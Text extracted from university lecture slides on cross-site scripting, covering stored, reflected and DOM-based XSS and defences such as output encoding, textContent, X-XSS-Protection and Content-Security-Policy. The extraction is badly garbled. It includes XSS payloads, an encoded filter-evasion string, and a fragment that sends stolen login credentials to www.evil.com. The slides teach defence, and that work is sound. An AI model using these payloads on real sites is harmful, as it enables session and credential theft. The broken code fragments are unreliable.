Hacking Web Sites Cross Site Scripting
Emmanuel Benoist
Fall Term 2020/2021
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 1
Hacking Web Sites Cross Site Scripting Emmanuel Benoist Fall Term - - PowerPoint PPT Presentation
Hacking Web Sites Cross Site Scripting Emmanuel Benoist Fall Term 2020/2021 Berner Fachhochschule | Haute ecole sp ecialis ee bernoise | Berne University of Applied Sciences 1 Table of Contents Presentation Stored XSS Reflected
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 1
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 2
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 3
User can write content in a Guest-book or Forum User can introduce malicious code in the content
Modification of the Document Object Model - DOM (change some links, add some buttons) Send personal information to thirds (javascript can send cookies to other sites)
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 4
Is usually Javascript Can be any script language supported by the victim’s browser
Reflected Stored DOM injection
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 5
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 6
In a file In a Database
Very dangerous for Content Management Systems (CMS) Blogs forums
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 7
The user can write some content (home page, news, blogs, ...) The user can modify the layout and edit content Hello world <b>Everybody</b><br> I want to say something! This content will be saved in a database The content will be shown to all (or some) visitors of the site
→script>
Page shows an alert message But can be much more dangerous
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 8
Access a DOM node, change its content document.getElementById() and change innerHTML
→="This
ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 9
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 10
If the URL (containing GET parameters) is delivered by a third to the victim The Victim will access a modified page SSL certificate and security warning are OK!!!
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 11
→];
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 12
AJAX URL’s (normally for transferring data) JSON addresses (for data also)
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 13
The message is normally only returned to the same person The reflecting XSS is difficult to exploit
Parameters can be included inside the URL (GET requests and URL encoded parameters) https://www.mysite.com/?param=value
Can be a spam (for phishing) Or a targeted email (for spare phishing) The victim will click on the link The link looks very legitimate (right site, https, ...) : impossible to see it is not valide
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 14
https://www.mysite.com/?val=%3Cscript+src%3D% 22evilProgram.js%22%3E%3C%2Fscript%3E
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 15
Errase the content of the page Create new nodes Build a totally new Document Object Model (see later how to manipulate the DOM)
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 16
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 17
The document is represented using a tree The tree is rooted with the document node Each tag and text is part of the tree
Does not need to be reflected by the server. Using misconfiguration of client side code Using flows in frameworks (AngularJS, JQuery, . . . )
Using JavaScript misprogramming Using a flow in a framework Using evaluation of rogue data
Javascript can manipulate all the document It can create new nodes, Remove existing nodes Change the content of some nodes
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 18
ց →document.baseURI);
→(1)</script>
The document.wirte() function adds the content to the page: <script>alert(1)</script> It is executed!
Anchor (i.e. after the #) is used for navigation only
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 19
Input provided by the user If the output is written without being encoded : can be exploited
document.URL, document.documentURI, location.href, location.search, location.*, window.name, document.referrer
document.write(), anything.innerHTML= someelements.src (for specific elements)
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 20
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 21
<html> <body> <div id="header"> <h1>Title of the page</h1> </div> <div id="menu"> <ul id="menu-list"> <li class="menuitem"> <a href="index.php?id=1">One</a> </li> <li class="menuitem"><a href="index.php?id=2">Two</a></ց
→li>
<li class="menuitem"><a href="index.php?id=3">Three</aց
→></li>
</ul> </div> <div id="content"> <p> Hello World </p> </div> </div>
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 22
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 23
→(newli);
→).firstChild;
→(firstchild);
→otherFunction; Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 24
→");
→://www.evil.com/dest"; Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 25
Browser is configured to connect only one site It can also connect to other sites in the same domain or subdomain Javascript is allowed only to send XMLHTTPRequest object to the server of the page
Modify the DOM to insert a new file Create a request that contains the information If the file contains JavaScript, a communication is possible!!!
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 26
→login_form">
→="txt_username">,
→" id="txt_password">
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 27
→value;
→value;
→=’’+v;
ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 28
Create a new <script> element Need to load the source URL : hence generate a request GET request to https://www.evil.com/ containing two values (user, pwd) Program just needs to write it into a database.
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 29
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 30
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 31
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 32
→106;avascript:alert('XS&# →
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 33
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 34
Allows the detection of attacks
prevents any successful script injection from running in the browser
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 35
Validate length, type, syntax and business rules
Reject invalid input Do not attempt to sanitize potentially hostile data Do not forget that error messages might also include invalid data
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 36
HTML or XML depending on output mechanism means <script> is encoded <script> Encode all characters other than a very limited subset
specify the character encoding (e.g. ISO 8859-1 or UTF 8) Do not allow attacker to choose this for your users
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 37
Use Struts or JSF output validation and output mechanisms Or use the JSTL escapeXML="true" attribute in <c:out ...> Do not use <%= %>
You can also use the ESAPI library developped by OWASP Content is first validated Then it is canonicalize()d to be stored The output is then encoded using: encodeForHTML(), encodeForHTMLAttribute() or encodeForJavascript() functions (depending on the use).
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 38
Do not use innerHTML Use innerText or textContent
Evaluation of uncontroled input is very dangerous
→span>
→textContent = document.baseURI;
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 39
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 40
X-XSS-Protection header can prevent some level of XSS (cross-site-scripting) attacks is compatible with IE 8+, Chrome, Opera, Safari & Android Google, Facebook, Github use this header There are four possible ways you can configure this header 0 value disables the XSS Filter, as seen below. 1 value enables the XSS Filter. Sanitize the page. 1; mode=block value . Page is blocked Example: www.letemps.ch x-xss-protection: 1; mode=block Example: www.google.ch, or www.facebook.com x-xss-protection: 0;
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 41
The server may include in HTTP headers security policy instructions Content-Security-Policy to be added in HTTP header Defines where the browser may find resources White lists of known good locations. Examples of directives: default-src Define loading policy for all resources type in case of a resource type dedicated directive is not defined (fallback), script-src Define which scripts the protected resource can execute,
load plugins style-src Define which styles (CSS) the user applies to the protected resource, img-src Define from where the protected resource can load images,
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 42
content−security−policy: script −src ’nonce−rEfb8AETqzuzqyhyfvzaRw’ ’unsafe−inline’;object−src ’none’;ց →base−uri ’self’; report −uri / /OneGoogleWidgetUi/cspreport;worker−src ’self’ content−security−policy: script −src ’nonce−rEfb8AETqzuzqyhyfvzaRw’ ’self’ ’unsafe−eval’ https://apis.ց → google. com https://ssl . gstatic . com https://www.google.com https://www.gstatic.com https://www.ց →google−analytics.com;report−uri / /OneGoogleWidgetUi/cspreport;frame−ancestors https://www.google.ց →com
content−security−policy: default −src ∗ data: blob: ’ self ’ ; script −src ∗.facebook.com ∗.fbcdn.net ∗.ց →facebook.net ∗.google−analytics. com ∗.virtualearth . net ∗.google. com 127.0.0.1:∗ ∗.spotilocal . com:∗ ’ց →unsafe−inline’ ’ unsafe−eval’ blob: data: ’ self ’ ; style −src data: blob: ’ unsafe−inline’ ∗;connect−src ց →∗.facebook.com facebook.com ∗.fbcdn.net ∗.facebook.net ∗.spotilocal . com:∗ wss://∗.facebook.com:∗ ց →https://fb.scanandcleanlocal . com:∗ attachment.fbsbx.com ws://localhost:∗ blob: ∗.cdninstagram.com ’selfց → ’; Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 43
content−security−policy: script −src https: //clients4 . google. com/insights/consumersurveys/ https: //www.google.com/js/bg/ ’self’ ’ unsafe−inline’ ’ unsafe−eval’ https: //mail.google. com/ /scs/mail−static/ https: //hangouts.google.com/ https://talkgadget. google. com/ https: //∗.talkgadget. google. com/ https: //www.googleapis.com/appsmarket/v2/installedApps/ https: //www−gm−opensocial.googleusercontent.com/gadgets/js/ https: //docs.google. com/static/doclist /client /js / https: //www.google.com/tools/feedback/ https: //s.ytimg.com/yts/jsbin/ https: //www.youtube.com/iframe api https: //apis. google. com/ /scs/abc−static/ https: //apis. google. com/js/ https: //clients1 . google. com/complete/ https: //apis. google. com/ /scs/apps−static/ /js/ https: //ssl . gstatic . com/inputtools/js/ https: //inputtools . google. com/request https: //ssl . gstatic . com/cloudsearch/static/o/js/ https: //www.gstatic.com/feedback/js/ https: //www.gstatic.com/common sharing/static/client/js/ https: //www.gstatic.com/og/ /js/; frame−src https: //clients4 . google. com/insights/consumersurveys/ Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 44
https: //calendar. google. com/accounts/ https://ogs.google.com https: //onegoogle−autopush.sandbox.google.com ’self’ https: //accounts.google. com/ https://apis. google. com/u/ https: //apis. google. com/ /streamwidgets/ https: //clients6 . google. com/static/ https: //content.googleapis . com/static/ https: //mail−attachment.googleusercontent.com/ https: //www.google.com/calendar/ https: //calendar. google. com/calendar/ https://docs.google. com/ https: //drive . google. com https: //∗.googleusercontent. com/docs/securesc/ https: //feedback.googleusercontent. com/resources/ https: //www.google.com/tools/feedback/ https: //support.google. com/inapp/ https: //∗.googleusercontent. com/gadgets/ifr https: //hangouts.google.com/ https://talkgadget. google. com/ https: //∗.talkgadget. google. com/ https: //www−gm−opensocial.googleusercontent.com/gadgets/ https: //plus. google. com/ https://wallet . google. com/gmail/ https: //www.youtube.com/embed/ https: //clients5 . google. com/pagead/drt/dn/ https: //clients5 . google. com/ads/measurement/jn/ https: //www.gstatic.com/mail/ww/ https: //www.gstatic.com/mail/intl/ https: //clients5 . google. com/webstore/wall/ https: //ci3. googleusercontent. com/ https://gsuite. google. com/u/ https: //gsuite . google. com/marketplace/appfinder https: //www.gstatic.com/mail/promo/ https: //notifications . google. com/ Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 45
https: //tracedepot−pa.clients6. google. com/static/ https: //mail−payments.google.com/mail/payments/ https: //wallet . google. com/payments/ https: //staging−taskassist−pa−googleapis.sandbox.google.com https: //taskassist −pa.clients6. google. com https: //∗.prod.amp4mail.googleusercontent.com/ https: //∗.client −channel.google.com/client−channel/client https: //clients4 . google. com/invalidation /lcs /client https: //tasks. google. com/embed/ https: //keep.google. com/companion https: //contacts. google. com/widget/hovercard/v/2 https: //∗.googleusercontent. com/confidential −mail/attachments/; report −uri https: //mail.google. com/mail/cspreport;object−src https: //mail−attachment.googleusercontent.com/attachment/ content−security−policy: script −src ’ nonce−UiuiYIMifXIrtaA18O0XnA’ ’ unsafe−inline’ ’ strict −dynamic’ https: http: ’ unsafe−eval’;
’ none’; base−uri ’self ’ ; report −uri https: //mail.google. com/mail/cspreport s x−xss−protection: 1; mode=block Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 46
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 47
Content providers (to get money) Merchants (to get customers)
Site contains a link to the broker: <script src="https://w.tda.io/scripts/dakt.js"> </script> Broker sends a JavaScript program that is executed Broker code loads the code of the Merchant paying for the advertisement.
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 48
Script is injected inside the browser by an attacker Can be stored in a database Or just be sent using a link
Inherits the access of the site: can read credentials and session tokens
Filter inputs (white listing is better than black listing) Encode outputs (or use safe sinks).
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 49
Berner Fachhochschule | Haute ´ ecole sp´ ecialis´ ee bernoise | Berne University of Applied Sciences 50